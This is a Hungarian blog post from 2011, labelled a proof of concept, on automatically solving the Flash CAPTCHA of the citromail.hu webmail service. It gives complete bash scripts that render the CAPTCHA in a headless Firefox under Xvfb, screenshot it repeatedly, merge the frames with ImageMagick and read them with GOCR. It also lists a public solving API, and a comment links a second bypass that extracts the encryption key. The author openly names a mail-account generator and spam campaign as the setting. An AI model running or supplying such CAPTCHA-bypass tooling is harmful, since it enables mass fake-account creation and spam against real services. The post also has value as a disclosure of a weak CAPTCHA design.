CAPTCHA @ citromail.hu

szeptember 22nd, 2011 | 3 comments | PoC

A minap valamiért a citromail.hu oldalra tévedtem és megakadt a szemem a CAPTCHA-n.
Mindenki ismeri a különféle captcha bypass oldalakat, ahol 1000 captcha megoldása 1-2 dollárba kelül (1.39$/1000/deathbycaptcha), van 15 nyelven API hozzá és bónuszként a hibákat nem számolják fel feltéve ha az ember veszi a fáradságot és visszajelez hogy nem volt rendben és így meg is takarított 0.0013 ropogós amerikai dollárt.

Ezek a “szolgatatasók” viszonylag egyszerűen működnek: a kliens el posztolja a képet általában HTTP de vannak más interfacek is, és 5-15-20 másodpercen belül jön is a válasz, ami az esetek 95%-ban helyes is.

Hogy most indiai, bangladeshi, kínai vagy ki tudja még milyen nemzetségű szakmunkások dolgoznak-e a problémákon azt nem tudom, habár a sajtóban felrebbennek hírek arról, hogy ezek az oldalak humán erőforrást vesznek igénybe pl: rabszolga voltam az orosz internet maffiaban ugyanakkor rengeteg hír van arról, hogy valamelyik nagyobb weboldal captcháját “feltőrték” : feltörték a gmail captcha vedelmet / Mircosoft captcha védelmet / stb csak hogy az indexnél maradjunk.

Citromail.hu

A citromail egy kicsit más típusú captchat használ mit az átlag, a Dracon féle FLASH catpchat.

Első ránézésre az látszik, hogy egyszerre max 1-2 betű látszik tisztán míg a többi homályos, FLASH alapú és a SWF-t amikor behívja akkor van benne egy kulcs 32 karakteres hex én MD5 re tippelnék, nem menetem bele a forráskódba sem a szerver oldali PHP ba sem a SWF be csak egy sima strings-en futtattam át de természetesen nem volt benne plaintexben a megoldás :).

Az alkótó szerint :

After numerous requests we have finally released a completely new Dracon Flash CAPTCHA v2.1 for your everyday use. It addresses OCR attacks and comes with a fully AJAXed test email form with anti-hammering measures and facilitates a 128bit AES encryption between PHP and Flash.

Nem az implementációt akartam kijátszani hanem magát a ötletet, mert olyan szépen hullámzik szinte kacérkodik.

Cél : Teljesen automatizálni a captcha megoldását, 0 emberi interakció.

Amit észre lehet venni, szinte azonnal, az az, hogy amikor 1 karaktert “megmutat” a script, akkor az nincs semmilyen formában eltorzítva, valamint, hogy a karakterek teljesen külön állanak egymástól, vagyis a segmentation készen is van ami nem egy erős captcha jele, finoman szólva. Ha el tudom dönteni, hogy hol kezdődik egy betű és hol végződik akkor a többi már gyerekjáték.

Első lépésben azt kell megoldanunk, hogy letöltsük valahogyan a FLASH hogy legyen meg képi formában, a forráskódban mint már említettem van egy hash de ha csak direkt hívjuk meg, akkor valamiért nem működik, próbáltam wget el de csak az első karakter jött de nem is gond mert a most használt megoldást mást típusú captchára is alkalmazható.

Igen, a jó öreg ScreenShot vagy ha jobban tetszik akkor PrintScreen, lesz a kulcsa a dolognak. Hogy egy Desktopon csinálok egy PrintsSreent nem jöhet számításba, és nem is nevezném elegáns megoldásnak, szerencsére van egy server kéznél amit majd fog futni a mi képzeletbeli citromail email-generátorunk és spam kampányunk.

cat /etc/issue
Ubuntu 11.04 \n \l
uname -r

2.6.38-11-generic

Az egyszerűség kedviért nevezzük Szervernek. A terv a következő, installálunk neki egy virtuális asztalt (x) firefoxot, flash-t majd elindítjuk a firefoxot és készítünk egy ScreenShot ot.

Megvalósítás:
sudo apt-get install xvfb firefox flashplugin-installer imagemagick x11-apps
Mivel lusta ember vagyok és nem szeretek számolgatni ezért készítettem egy oldalt ami csak a lényeget mutatja: http://0xff.org/res/dhtml/citromail.hu/?key=a71e885a13c8b5d750699caf9cf22a82

A script: A key értékét paraméterben adjuk meg.

#!/bin/bash
killall firefox
killall Xvfb
/usr/bin/X11/Xvfb :5 -screen 0 600x600x24 -fbdir /tmp &
sleep 1
DISPLAY=:5 firefox "http://0xff.org/res/dhtml/citromail.hu/?key=$1" &
sleep 5
DISPLAY=:5 import -window root shoot.png
killall firefox
sleep 2
killall Xvfb
exit

Müködik xvfb a firefox a flash és még az imagemagic is, a képen kezd kirajzolódni az első betű, a következő lépés az lenne hogy készítsünk egy screenshotot minden fél másodpercben így talán sikerül elkapni az összes betűt.

#!/bin/bash
killall firefox
killall Xvfb
/usr/bin/X11/Xvfb :5 -screen 0 600x600x24 -fbdir /tmp &

sleep 1
DISPLAY=:5 firefox "http://0xff.org/res/dhtml/citromail.hu/?key=$1" &
sleep 7

# 2fps
for i in {1..30}
do
sleep 0.5
DISPLAY=:5 import -window root $i.png
done

killall firefox
sleep 2
killall Xvfb
exit

Kapunk 30 képet

Láthatóak benne a betűk vagyis a 2fps elegendő.

 

Kivágjuk a képből a nekünk érdekes részt.

convert -channel rgb 1.png -crop 150×45+8+95 out.png


 

“kiütünk” mindent ami nem teljesen feher +-30% és kékre festjük

convert -channel rgb out.png -fuzz 30% -fill blue +opaque “#FFF” out.png


A kék színt kicseréljük átlátszóra

convert -channel rgb out.png -fuzz 30% -transparent blue out.png

*http://0xff.org/wp-content/uploads/2011/09/out3.png

Az így kapott képeket egymásra pakoljuk

convert HATTER.png KEP.png -compose Over -composite HOVA.png

Példa egy ilyen “összerakott” képre :

és igényéktől függően átalakítjuk fehér fekete png vagy grayscale ppm stb.

Az eredménynek már nekieshetünk egy sima OCR programmal is, én az GOCR és a OCRAD-t tudom ajánlani, az OCRAD-nak ppm vagy bmp kell.

A rövidített scipt:

#!/bin/bash
touch lock
killall plugin-container
killall firefox
killall Xvfb

/usr/bin/X11/Xvfb :5 -screen 0 600x600x24 -fbdir /tmp &

sleep 3
DISPLAY=:5 firefox "http://0xff.org/res/dhtml/citromail.hu/?key=$1" &
sleep 7

# 2fps ScreenShot
for i in {1..30}
do
sleep 0.5
DISPLAY=:5 import -window root $i.png
done

# Kepfeldolgozas
for i in {1..30}
do
convert -channel rgb $i.png -crop 150x45+8+95   -fuzz 30%  -fill blue  +opaque "#FFF" -transparent blue -negate $i.png
convert  1.png $i.png -compose Over -composite   1.png
done
convert -channel rgb 1.png -fill white -opaque none -monochrome out.jpg

#Torles
for i in {1..30}
do
rm $i.png
done

#OCR
gocr -a 90 out.jpg  > outg.txt

killall firefox
sleep 2
killall Xvfb
rm lock
exit

 

API :

http://0xff.org/res/dhtml/citromail.hu/solve.php?key=[KEY]

 

UPDATE : Kicserélték a captchat a citromailesek de a probléma ugyan az, az én megoldásom is működik és az ebux féle is.

http://ebux.fw.hu/CodeGen.php?secEncCode=[KEY]

 

3 Comments

  1. A módszer ügyes, de mivel flash-ről van szó, ami karakterenként állítja össze a képet, ezért nem túl nehéz a flash-ből kiszedni az AES kulcsot.
    Csináltam is egy egyszerű POC-ot a citromail-es kulccsal:
    http://ebux.fw.hu/CodeGen.php?secEncCode=a71e885a13c8b5d750699caf9cf22a82

    • 0xff (Author)

      Valóban működik, és természetesen sokkal elegánsabb megoldás, mint a ScreenShot, ebben az esetben viszont amit még akarok ezzel a “framework”-al, azok a CSS / JS captchak, ilyesmi mint ez itt http://files.samhart.net/img/misc/ascii-captcha.png de nem egészen.

Trackbacks for this post

  1. BITLOG infotech hírek » Flash CAPTCHA törés

Leave a Comment